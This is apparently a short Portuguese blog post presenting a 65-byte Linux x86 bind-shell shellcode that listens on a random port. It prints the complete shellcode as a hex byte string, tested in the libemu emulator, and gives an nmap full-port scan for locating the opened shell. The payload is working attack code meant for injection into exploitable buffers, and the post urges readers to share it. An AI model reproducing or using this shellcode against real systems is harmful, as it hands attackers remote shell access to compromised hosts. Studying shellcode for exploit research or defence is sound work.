Os shellcodes não imploram para serem pequenos e se adequarem aos buffers explorados?

Quase que instantaneamente tivemos a ideia de retirar o setsockopt (usado no meu shellcode) e o próprio bind (usado em todos).

Vocês não imaginam o tamanho do novo shell_bind_tcp_random_port...

Míseros 65 bytes

# echo -e "\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x5f\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80\xb0\x66\x43\x89\x54\x24\x08\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\xeb\xca" | /opt/libemu/bin/sctest -vvv -Ss 100000 -G shell_bind_tcp_random_port.dot


Ah, mas isso não serve! Do que adianta se eu não posso setar a porta?

nmap nele!

# nmap -sS host -p-

Só tenho algo mais a dizer: COMPARTILHEM!!

P.S.

Valeu, Tiago!


Mais Informações

Creative Commons License
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Brazil License.